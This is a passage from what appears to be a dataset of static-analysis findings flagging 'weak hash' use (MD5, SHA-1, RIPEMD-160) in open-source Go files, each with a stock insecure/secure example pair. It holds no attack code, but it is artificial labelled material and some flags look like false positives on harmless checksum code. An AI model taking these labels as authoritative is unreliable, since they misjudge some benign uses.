the running kademlia service\n\tover port 10002 and not recieve any incoming messages.\n*/\nfunc main() {\n\tapp := &CLIApp{GetOutboundIP().String(), 10002}\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Printf(\"Welcome to kademlia network!\\nAvailable commands:\\nput (stores data on k closest nodes to hash)\t\\nget (fetches data object with this hash if it is stored in the network)\t\\nexit (terminates this node)\\n\")\n\n\tfor {\n\t\tfmt.Printf(\"\\nEnter command: \")\n\t\ttext, _ := reader.ReadString('\\n') //read from terminal\n\t\ttext = strings.TrimRight(text, \"\\n\")\n\n\t\tsplitStr := strings.SplitN(text, \" \", 2) //Split string at first space\n\n\t\terr := app.parser(splitStr)\n\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"%s\", err)\n\t\t}\n\t}\n}\n\nfunc (app *CLIApp) parser(cmd []string) error {\n\tvar err error\n\tswitch command := cmd[0]; command {\n\tcase \"put\":\n\t\terr = app.put(cmd[1])\n\tcase \"get\":\n\t\targs := strings.Fields(cmd[1]) // Checks so that the get command only receives one argument\n\t\tif len(args) > 1 {\n\t\t\treturn errors.New(\"Too many arguments in command\")\n\t\t}\n\t\tif len(cmd[1]) != 40 {\n\t\t\treturn errors.New(\"Hash should be 40 characters long\")\n\t\t}\n\t\tif !validHex(cmd[1]) {\n\t\t\treturn errors.New(\"Hash contains illegal characters\")\n\t\t}\n\t\terr = app.get(cmd[1])\n\tcase \"exit\":\n\t\terr = app.exit()\n\tdefault:\n\t\treturn errors.New(\"(\" + command + \")\" + \" is not a valid command\")\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (app *CLIApp) put(data string) error {\n\n\tmsg := CLIResponse{\n\t\tRPC: \"put\",\n\t\tBody: CLIMsgBody{\n\t\t\tData: []byte(data),\n\t\t},\n\t}\n\n\tres, err := app.CLIMessageHandler(msg)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thashData := string(res.Body.Data)\n\n\tif res.RPC == msg.RPC {\n\t\tfmt.Printf(\"\\nSuccesfully stored data with hash: %s\\n\", hashData)\n\t} else {\n\t\tfmt.Printf(\"\\nWrong RPC in response message\\n\")\n\t}\n\n\treturn nil\n}\n\nfunc (app *CLIApp) get(hash string) error {\n\n\tmsg := CLIResponse{\n\t\tRPC: \"get\",\n\t\tBody: CLIMsgBody{\n\t\t\tData: []byte(hash),\n\t\t},\n\t}\n\n\tres, err := app.CLIMessageHandler(msg)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treceivedData := string(res.Body.Data)\n\tdataContact := res.Body.DataContact\n\n\tif res.RPC == msg.RPC {\n\t\tif res.Body.Data == nil {\n\t\t\tfmt.Printf(\"\\nNo data found in the network with that hash\\n\")\n\t\t} else {\n\t\t\tfmt.Printf(\"\\nFound data: %s\\nFrom contact: %s\\n\", receivedData, &dataContact)\n\t\t}\n\t} else {\n\t\tfmt.Printf(\"\\nSomething went wrong\\n\")\n\t}\n\n\treturn nil\n}\n\nfunc (app *CLIApp) exit() error {\n\tmsg := CLIResponse{\n\t\tRPC: \"exit\",\n\t\tBody: CLIMsgBody{},\n\t}\n\n\tres, err := app.CLIMessageHandler(msg)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif res.RPC == \"exit\" {\n\t\tfmt.Printf(\"\\nTerminating node with ip: %s\\n\", app.IP)\n\t\tos.Exit(0)\n\t} else {\n\t\tfmt.Printf(\"\\nWrong RPC in response\\n\")\n\t}\n\treturn nil\n}\n\nfunc (app *CLIApp) CLIMessageHandler(msg CLIResponse) (CLIResponse, error) {\n\tserver := net.UDPAddr{\n\t\tPort: app.Port,\n\t\tIP: net.ParseIP(app.IP),\n\t}\n\n\tmarshalledMsg := marshallCLIData(msg)\n\n\tConn, err := net.DialUDP(\"udp\", nil, &server)\n\n\tif err != nil {\n\t\treturn CLIResponse{}, errors.New(\"CLI: Failed to open connection to local ip:\" + app.IP)\n\t}\n\n\tdefer Conn.Close()\n\n\ttimeDeadline := time.Now().Add(20 * time.Second)\n\n\tConn.SetDeadline(timeDeadline)\n\n\tConn.Write([]byte(marshalledMsg))\n\tbuf := make([]byte, 1024)\n\tn, _, err := Conn.ReadFromUDP(buf)\n\n\tif err != nil {\n\t\treturn CLIResponse{}, errors.New(\"Connection to cli listener timer has expired\")\n\t}\n\n\tres := unmarshallCLIData(buf[0:n])\n\n\treturn res, nil\n\n}\n\n// Will marshall the response object into json\nfunc marshallCLIData(data CLIResponse) []byte {\n\tmarshalledData, _ := json.Marshal(data)\n\treturn marshalledData\n}\n\n// Will unmarshall the byte stream into json\nfunc unmarshallCLIData(data []byte) CLIResponse {\n\tvar unmarshalledData CLIResponse\n\tjson.Unmarshal([]byte(data), &unmarshalledData)\n\treturn unmarshalledData\n}\n\nfunc GetOutboundIP() net.IP {\n\tconn, err := net.Dial(\"udp\", \"8.8.8.8:80\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer conn.Close()\n\n\tlocalAddr := conn.LocalAddr().(*net.UDPAddr)\n\n\treturn localAddr.IP\n}\n\n// Helper function for hashing data returing hexstring\nfunc HashData(data string) (hashString string) {\n\tnewHash := sha1.New()\n\tnewHash.Write([]byte(data))\n\thashString = hex.EncodeToString(newHash.Sum(nil))\n\treturn\n}\n\nfunc validHex(str string) bool {\n\t_, err := hex.DecodeString(str)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn true\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "43f3614874ca1526c86e69f5d804187efb23662c3c99809ac9391cd7d0bb5c8b", "license": {"spdx": ["MIT"], "repo": "moonheart/datakit", "path": "plugins/inputs/filecollector/utils.go", "repo_head_hexsha": "6b5981e88b0b7e691f93b438abcc0dd0a5972cf0", "stack_hexsha": "c3e2c60066c72beac39061b21ae9741ab2603dff", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 11, "entireCode": "// Unless explicitly stated otherwise all files in this repository are licensed\n// under the MIT License.\n// This product includes software developed at Guance Cloud (https://www.guance.com/).\n// Copyright 2021-present Guance, Inc.\n\npackage filecollector\n\nimport (\n\n\t// nolint:gosec\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\nfunc updateFileInfo(path string) {\n\tmtx.Lock()\n\tdefer mtx.Unlock()\n\tfileNames, err := filepath.Glob(filepath.Join(path, \"*\"))\n\tif err != nil {\n\t\treturn\n\t}\n\tfor _, name := range fileNames {\n\t\tfileInfoMap[name] = \"\"\n\t}\n}\n\nfunc addFileInfo(name, md5str string) {\n\tmtx.Lock()\n\tdefer mtx.Unlock()\n\tfileInfoMap[name] = md5str\n}\n\nfunc getFileMd5(filename string) (string, error) {\n\tf, err := os.Open(filepath.Clean(filename))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer f.Close() //nolint:errcheck,gosec\n\n\tfileMd5 := md5.New() //nolint:gosec\n\tif _, err := io.Copy(fileMd5, f); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn hex.EncodeToString(fileMd5.Sum(nil)), nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "4dca2359a20c2322e96a7b08a8c07ecd923de17f45ae5e5e14f4dcb3d10adadf", "license": {"spdx": ["MIT"], "repo": "sumwonyuno/cp-scoring", "path": "archive/processing/state_test.go", "repo_head_hexsha": "a9e84c9911309b385f98ecb6224e84afdb135470", "stack_hexsha": "e8308f4b34cda61dfd710b66cc59335b2ddb72e1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 14, "entireCode": "package processing\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"encoding/json\"\n\t\"io\"\n\t\"testing\"\n\n\t\"golang.org/x/crypto/openpgp\"\n\n\t\"github.com/netwayfind/cp-scoring/model\"\n\n\t_ \"golang.org/x/crypto/ripemd160\"\n)\n\nfunc getTestEntities(t *testing.T) []*openpgp.Entity {\n\tentity, err := newEntity()\n\tif err != nil {\n\t\tt.Fatal(\"Unable to create entity;\", err)\n\t}\n\tentities := make([]*openpgp.Entity, 0)\n\treturn append(entities, entity)\n}\n\nfunc compareStates(t *testing.T, state1 model.State, state2 model.State) {\n\tif state1.OS != state2.OS {\n\t\tt.Fatal(\"OS does not match\")\n\t}\n\tif state1.Hostname != state2.Hostname {\n\t\tt.Fatal(\"Hostname does not match\")\n\t}\n\tif state1.Timestamp != state2.Timestamp {\n\t\tt.Fatal(\"Timestamp does not match\")\n\t}\n\tif len(state1.Users) != len(state2.Users) {\n\t\tt.Fatal(\"Users does not match\")\n\t}\n\tif len(state1.Groups) != len(state2.Groups) {\n\t\tt.Fatal(\"Groups does not match\")\n\t}\n\tif len(state1.Processes) != len(state2.Processes) {\n\t\tt.Fatal(\"Processes does not match\")\n\t}\n\tif len(state1.Software) != len(state2.Software) {\n\t\tt.Fatal(\"Software does not match\")\n\t}\n\tif len(state1.NetworkConnections) != len(state2.NetworkConnections) {\n\t\tt.Fatal(\"Network connections does not match\")\n\t}\n\tif len(state1.Errors) != len(state2.Errors) {\n\t\tt.Fatal(\"Errors does not match\")\n\t}\n}\n\nfunc TestStateToJSON(t *testing.T) {\n\t// no state\n\tvar state model.State\n\tbs, err := stateToJSON(state)\n\tif err != nil {\n\t\tt.Fatal(\"Error serializing state to JSON;\", err)\n\t}\n\tif len(bs) == 0 {\n\t\tt.Fatal(\"No bytes for serializing state\")\n\t}\n\n\tvar state2 model.State\n\n\terr = json.Unmarshal(bs, &state2)\n\tif err != nil {\n\t\tt.Fatal(\"Bytes not JSON;\", err)\n\t}\n\n\t// new state\n\tstate = model.GetNewStateTemplate()\n\tbs, err = stateToJSON(state)\n\tif err != nil {\n\t\tt.Fatal(\"Error serializing state to JSON;\", err)\n\t}\n\tif len(bs) == 0 {\n\t\tt.Fatal(\"No bytes for serializing state\")\n\t}\n\n\t// check that result is JSON bytes\n\terr = json.Unmarshal(bs, &state2)\n\tif err != nil {\n\t\tt.Fatal(\"Bytes not JSON;\", err)\n\t}\n}\n\nfunc TestStateFromJSON(t *testing.T) {\n\t_, err := stateFromJSON(nil)\n\tif err == nil {\n\t\tt.Fatal(\"Parsed state from nil bytes;\", err)\n\t}\n\n\t// empty string\n\tbs := []byte(\"\")\n\t_, err = stateFromJSON(bs)\n\tif err == nil {\n\t\tt.Fatal(\"Parsed state from empty string;\", err)\n\t}\n\n\t// convert from state to bytes and back\n\tstate := model.GetNewStateTemplate()\n\tbs, err = stateToJSON(state)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to serialize state to JSON;\", err)\n\t}\n\tstate2, err := stateFromJSON(bs)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to deserialize state from JSON;\", err)\n\t}\n\tcompareStates(t, state, state2)\n}\n\nfunc TestBytesCompress(t *testing.T) {\n\t// nil\n\t_, err := bytesCompress(nil)\n\tif err == nil {\n\t\tt.Fatal(\"Compressed nil bytes;\", err)\n\t}\n\n\t// empty bytes\n\tbs := []byte(\"\")\n\t_, err = bytesCompress(bs)\n\tif err == nil {\n\t\tt.Fatal(\"Compressed empty string;\", err)\n\t}\n\n\t// JSON bytes\n\torig := []byte(\"{\\\"test\\\": \\\"test\\\"}\")\n\tnewBytes, err := bytesCompress(orig)\n\tif err != nil {\n\t\tt.Fatal(\"Compressed empty string;\", err)\n\t}\n\tif len(newBytes) == 0 {\n\t\tt.Fatal(\"Expected non-zero length for compressed bytes\")\n\t}\n\n\t// check that result is gzip bytes\n\tbuf := bytes.NewBuffer(newBytes)\n\tr, err := gzip.NewReader(buf)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to create gzip reader;\", err)\n\t}\n\toutBuf := bytes.NewBuffer(nil)\n\t_, err = io.Copy(outBuf, r)\n\tif err != nil {\n\t\tt.Fatal(\"Bytes not gzip;\", err)\n\t}\n\tif bytes.Compare(orig, outBuf.Bytes()) != 0 {\n\t\tt.Fatal(\"Decompressed bytes does not match original\")\n\t}\n}\n\nfunc TestBytesDecompress(t *testing.T) {\n\t// nil\n\t_, err := bytesDecompress(nil)\n\tif err == nil {\n\t\tt.Fatal(\"Decompressed nil bytes;\", err)\n\t}\n\n\t// empty bytes\n\tbs := []byte(\"\")\n\t_, err = bytesDecompress(bs)\n\tif err == nil {\n\t\tt.Fatal(\"Decompressed empty bytes;\", err)\n\t}\n\n\t// convert from compressed to decompressed\n\torig := []byte(\"000000000000000\")\n\tbs, err = bytesCompress(orig)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to compress bytes;\", err)\n\t}\n\tbs, err = bytesDecompress(bs)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to decompress bytes;\", err)\n\t}\n\tif bytes.Compare(orig, bs) != 0 {\n\t\tt.Fatal(\"Decompressed bytes does not match original\")\n\t}\n}\n\nfunc TestBytesEncrypt(t *testing.T) {\n\tentities := getTestEntities(t)\n\n\t// nil\n\tbs, err := bytesEncrypt(nil, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to encrypt nil bytes\")\n\t}\n\tif len(bs) == 0 {\n\t\tt.Fatal(\"No bytes from encrypting nil bytes\")\n\t}\n\n\t// empty bytes\n\tbs = []byte(\"\")\n\tbs, err = bytesEncrypt(bs, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to encrypt empty string\")\n\t}\n\tif len(bs) == 0 {\n\t\tt.Fatal(\"No bytes from encrypting empty bytes\")\n\t}\n\n\t// example\n\tbs = []byte(\"example\")\n\tbs, err = bytesEncrypt(bs, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to encrypt bytes;\", err)\n\t}\n\tif len(bs) == 0 {\n\t\tt.Fatal(\"No bytes from encrypting bytes\")\n\t}\n}\n\nfunc TestBytesDecrypt(t *testing.T) {\n\tentities := getTestEntities(t)\n\n\t// nil\n\tbs, err := bytesEncrypt(nil, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to encrypt;\", err)\n\t}\n\tbs, err = bytesDecrypt(bs, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to decrypt;\", err)\n\t}\n\tif len(bs) != 0 {\n\t\tt.Fatal(\"Unexpected decrypted bytes;\", bs)\n\t}\n\n\t// empty bytes\n\torig := []byte(\"\")\n\tbs, err = bytesEncrypt(orig, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to encrypt;\", err)\n\t}\n\tbs, err = bytesDecrypt(bs, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to decrypt;\", err)\n\t}\n\tif bytes.Compare(orig, bs) != 0 {\n\t\tt.Fatal(\"Unexpected decrypted bytes;\", bs)\n\t}\n\n\t// example\n\torig = []byte(\"example\")\n\tbs, err = bytesEncrypt(orig, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to encrypt;\", err)\n\t}\n\tbs, err = bytesDecrypt(bs, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to decrypt;\", err)\n\t}\n\tif bytes.Compare(orig, bs) != 0 {\n\t\tt.Fatal(\"Unexpected decrypted bytes;\", bs)\n\t}\n}\n\nfunc TestToBytes(t *testing.T) {\n\tentities := getTestEntities(t)\n\n\tstate := model.GetNewStateTemplate()\n\tbs, err := ToBytes(state, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to convert state to bytes;\", err)\n\t}\n\tif len(bs) == 0 {\n\t\tt.Fatal(\"No bytes created\")\n\t}\n}\n\nfunc TestFromBytesBad(t *testing.T) {\n\tentities := getTestEntities(t)\n\tbs := make([]byte, 0)\n\t_, err := FromBytes(bs, entities)\n\tif err == nil {\n\t\tt.Fatal(\"Expected error for empty bytes\")\n\t}\n}\n\nfunc TestFromBytes(t *testing.T) {\n\tentities := getTestEntities(t)\n\n\tstate := model.GetNewStateTemplate()\n\tbs, err := ToBytes(state, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to convert state to bytes;\", err)\n\t}\n\tstate2, err := FromBytes(bs, entities)\n\tif err != nil {\n\t\tt.Fatal(\"Unable to convert bytes to state;\", err)\n\t}\n\tcompareStates(t, state, state2)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 14, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "8a3b27ee287c13e70c07fa8c96218288fcd43cdf5bfe1ebf8ded4783329d0760", "license": {"spdx": ["Apache-2.0"], "repo": "aacfactory/fns-contrib", "path": "databases/sql/dao_cache.go", "repo_head_hexsha": "9934b7981d2ade7d3c56ce70f0ff18e63847cd7b", "stack_hexsha": "424c331d02098a0b9413838bdaa8fcbbd19941f6", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package sql\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"github.com/aacfactory/fns\"\n\t\"github.com/aacfactory/json\"\n\t\"github.com/tidwall/gjson\"\n\t\"reflect\"\n\t\"sync\"\n\t\"time\"\n)\n\ntype DAOConfig struct {\n\tCacheKind string `json:\"cacheKind,omitempty\"`\n\tRaw json.RawMessage `json:\"options,omitempty\"`\n}\n\ntype DaoCache interface {\n\tGetAndFill(row TableRow) (has bool, synced bool)\n\tSet(row TableRow, synced bool)\n\tRemove(row TableRow)\n\tClean()\n}\n\n// +-------------------------------------------------------------------------------------------------------------------+\n\nvar (\n\tdaoCache DaoCache = nil\n\tdaoCacheOnce = sync.Once{}\n)\n\nfunc getDAOCache(ctx fns.Context) (cache DaoCache) {\n\tdaoCacheOnce.Do(func() {\n\t\tproxy, proxyErr := ctx.App().ServiceProxy(ctx, namespace)\n\t\tif proxyErr != nil {\n\t\t\tif ctx.App().Log().ErrorEnabled() {\n\t\t\t\tctx.App().Log().Error().Message(\"fns SQL: use dao but can not get dao cache from sql service. use local dao cache insteadof\")\n\t\t\t}\n\t\t\tdaoCache = newLocalDaoCache()\n\t\t\treturn\n\t\t}\n\n\t\targ, _ := fns.NewArgument(&fns.Empty{})\n\t\tr := proxy.Request(ctx, daoCacheConfigLoadFn, arg)\n\t\tconfig := DAOConfig{}\n\t\tgetErr := r.Get(ctx, &config)\n\t\tif getErr != nil {\n\t\t\tif ctx.App().Log().ErrorEnabled() {\n\t\t\t\tctx.App().Log().Error().Message(\"fns SQL: use dao but can not get dao cache from sql service. use local dao cache insteadof\")\n\t\t\t}\n\t\t\tdaoCache = newLocalDaoCache()\n\t\t\treturn\n\t\t}\n\t\tswitch config.CacheKind {\n\t\tcase \"local\":\n\t\t\tdaoCache = newLocalDaoCache()\n\t\tcase \"redis\":\n\t\t\tdaoCache = newRedisDaoCache(ctx, config.Raw)\n\t\tdefault:\n\t\t\tdaoCache = newLocalDaoCache()\n\t\t}\n\t})\n\tcache = daoCache\n\treturn\n}\n\n// +-------------------------------------------------------------------------------------------------------------------+\n\ntype cachedTableRow struct {\n\tvalue TableRow\n\tsynced bool\n}\n\nfunc newLocalDaoCache() (cache DaoCache) {\n\tcache = &localDaoCache{\n\t\tvalues: sync.Map{},\n\t}\n\treturn\n}\n\ntype localDaoCache struct {\n\tvalues sync.Map\n}\n\nfunc (cache *localDaoCache) buildKey(row TableRow) (key string) {\n\tinfo := getTableRowInfo(row)\n\trv := reflect.Indirect(reflect.ValueOf(row))\n\tpks := make([]interface{}, 0, 1)\n\tfor _, pk := range info.Pks {\n\t\tpks = append(pks, rv.FieldByName(pk.StructFieldName).Interface())\n\t}\n\tfor i, value := range pks {\n\t\tif i == 0 {\n\t\t\tkey = fmt.Sprintf(\"%v\", value)\n\t\t} else {\n\t\t\tkey = key + \",\" + fmt.Sprintf(\"%v\", value)\n\t\t}\n\t}\n\treturn\n}\n\nfunc (cache *localDaoCache) GetAndFill(row TableRow) (has bool, synced bool) {\n\tv, loaded := cache.values.Load(cache.buildKey(row))\n\tif loaded {\n\t\thas = true\n\t\tcached := v.(*cachedTableRow)\n\t\treflect.ValueOf(row).Elem().Set(reflect.ValueOf(cached.value).Elem())\n\t\tsynced = cached.synced\n\t}\n\treturn\n}\n\nfunc (cache *localDaoCache) Set(row TableRow, synced bool) {\n\tvar cached *cachedTableRow\n\tv, loaded := cache.values.Load(cache.buildKey(row))\n\tif loaded {\n\t\tcached = v.(*cachedTableRow)\n\t\tif !cached.synced {\n\t\t\tcached.value = row\n\t\t\tcached.synced = synced\n\t\t}\n\t} else {\n\t\tcached = &cachedTableRow{\n\t\t\tvalue: row,\n\t\t\tsynced: synced,\n\t\t}\n\t}\n\tcache.values.Store(cache.buildKey(row), cached)\n}\n\nfunc (cache *localDaoCache) Remove(row TableRow) {\n\tcache.values.Delete(cache.buildKey(row))\n}\n\nfunc (cache *localDaoCache) Clean() {\n\tkeys := make([]interface{}, 0, 1)\n\tcache.values.Range(func(key, value interface{}) bool {\n\t\tkeys = append(keys, key)\n\t\treturn true\n\t})\n\tfor _, key := range keys {\n\t\tcache.values.Delete(key)\n\t}\n}\n\n// +-------------------------------------------------------------------------------------------------------------------+\n\nfunc newRedisDaoCache(ctx fns.Context, configRaw json.RawMessage) (cache DaoCache) {\n\tttl := 24 * time.Hour\n\tttlNode := gjson.GetBytes(configRaw, \"ttl\")\n\tif ttlNode.Exists() {\n\t\tttl0, parseErr := time.ParseDuration(ttlNode.String())\n\t\tif parseErr != nil {\n\t\t\tpanic(fmt.Sprintf(\"fns SQL: use DAO failed for parse sql.dao.ttl in config failed\"))\n\t\t}\n\t\tttl = ttl0\n\t}\n\tcache = &redisDaoCache{\n\t\tctx: ctx,\n\t\tlocal: newLocalDaoCache(),\n\t\tttl: ttl,\n\t}\n\treturn\n}\n\ntype redisDaoCache struct {\n\tctx fns.Context\n\tlocal DaoCache\n\tttl time.Duration\n}\n\nfunc (cache *redisDaoCache) GetAndFill(row TableRow) (has bool, synced bool) {\n\thas, synced = cache.local.GetAndFill(row)\n\tif has {\n\t\treturn\n\t}\n\thas = cache.getFromRedis(row)\n\tif has {\n\t\tcache.local.Set(row, false)\n\t}\n\treturn\n}\n\nfunc (cache *redisDaoCache) Set(row TableRow, synced bool) {\n\tcache.local.Set(row, synced)\n\tif synced {\n\t\treturn\n\t}\n\tcache.setIntoRedis(row)\n\treturn\n}\n\nfunc (cache *redisDaoCache) Remove(row TableRow) {\n\tcache.local.Remove(row)\n\tcache.removeFromRedis(row)\n}\n\ntype redisGetResult struct {\n\tValue json.RawMessage `json:\"value,omitempty\"`\n\tHas bool `json:\"has,omitempty\"`\n}\n\nfunc (cache *redisDaoCache) getFromRedis(row TableRow) (has bool) {\n\tkey := cache.buildRowCacheKey(row)\n\tproxy, proxyErr := cache.ctx.App().ServiceProxy(cache.ctx, \"redis\")\n\tif proxyErr != nil {\n\t\treturn\n\t}\n\targ, argErr := fns.NewArgument(key)\n\tif argErr != nil {\n\t\treturn\n\t}\n\tresult := &redisGetResult{}\n\tr := proxy.Request(cache.ctx, \"get\", arg)\n\tfnErr := r.Get(cache.ctx, result)\n\tif fnErr != nil {\n\t\treturn\n\t}\n\tif !result.Has {\n\t\treturn\n\t}\n\tcache.mapJsonToRow(result.Value, row)\n\thas = true\n\treturn\n}\n\ntype redisSetParam struct {\n\tKey string `json:\"key,omitempty\"`\n\tValue json.RawMessage `json:\"value,omitempty\"`\n\tExpiration time.Duration `json:\"expiration,omitempty\"`\n}\n\nfunc (cache *redisDaoCache) setIntoRedis(row TableRow) {\n\tkey := cache.buildRowCacheKey(row)\n\tproxy, proxyErr := cache.ctx.App().ServiceProxy(cache.ctx, \"redis\")\n\tif proxyErr != nil {\n\t\treturn\n\t}\n\tparam := &redisSetParam{\n\t\tKey: key,\n\t\tValue: cache.mapRowToJson(row),\n\t\tExpiration: cache.ttl,\n\t}\n\targ, argErr := fns.NewArgument(param)\n\tif argErr != nil {\n\t\treturn\n\t}\n\tr := proxy.Request(cache.ctx, \"set\", arg)\n\tfnErr := r.Get(cache.ctx, &json.RawMessage{})\n\tif fnErr != nil {\n\t\treturn\n\t}\n\treturn\n}\n\nfunc (cache *redisDaoCache) removeFromRedis(row TableRow) {\n\tkey := cache.buildRowCacheKey(row)\n\tproxy, proxyErr := cache.ctx.App().ServiceProxy(cache.ctx, \"redis\")\n\tif proxyErr != nil {\n\t\treturn\n\t}\n\targ, argErr := fns.NewArgument(key)\n\tif argErr != nil {\n\t\treturn\n\t}\n\tr := proxy.Request(cache.ctx, \"remove\", arg)\n\tfnErr := r.Get(cache.ctx, &json.RawMessage{})\n\tif fnErr != nil {\n\t\treturn\n\t}\n\treturn\n}\n\nfunc (cache *redisDaoCache) Clean() {\n\tcache.local.Clean()\n\treturn\n}\n\nfunc (cache *redisDaoCache) mapRowToJson(row TableRow) (p []byte) {\n\to := json.NewObject()\n\tinfo := getTableRowInfo(row)\n\trv := reflect.Indirect(reflect.ValueOf(row))\n\tif info.Pks != nil {\n\t\tfor _, pk := range info.Pks {\n\t\t\tpkv := rv.FieldByName(pk.StructFieldName).Interface()\n\t\t\t_ = o.Put(pk.StructFieldName, pkv)\n\t\t}\n\t}\n\tif info.CreateBY != nil {\n\t\tx := rv.FieldByName(info.CreateBY.StructFieldName).Interface()\n\t\t_ = o.Put(info.CreateBY.StructFieldName, x)\n\t}\n\tif info.CreateAT != nil {\n\t\tx := rv.FieldByName(info.CreateAT.StructFieldName).Interface()\n\t\t_ = o.Put(info.CreateAT.StructFieldName, x)\n\t}\n\tif info.ModifyBY != nil {\n\t\tx := rv.FieldByName(info.ModifyBY.StructFieldName).Interface()\n\t\t_ = o.Put(info.ModifyBY.StructFieldName, x)\n\t}\n\tif info.ModifyAT != nil {\n\t\tx := rv.FieldByName(info.ModifyAT.StructFieldName).Interface()\n\t\t_ = 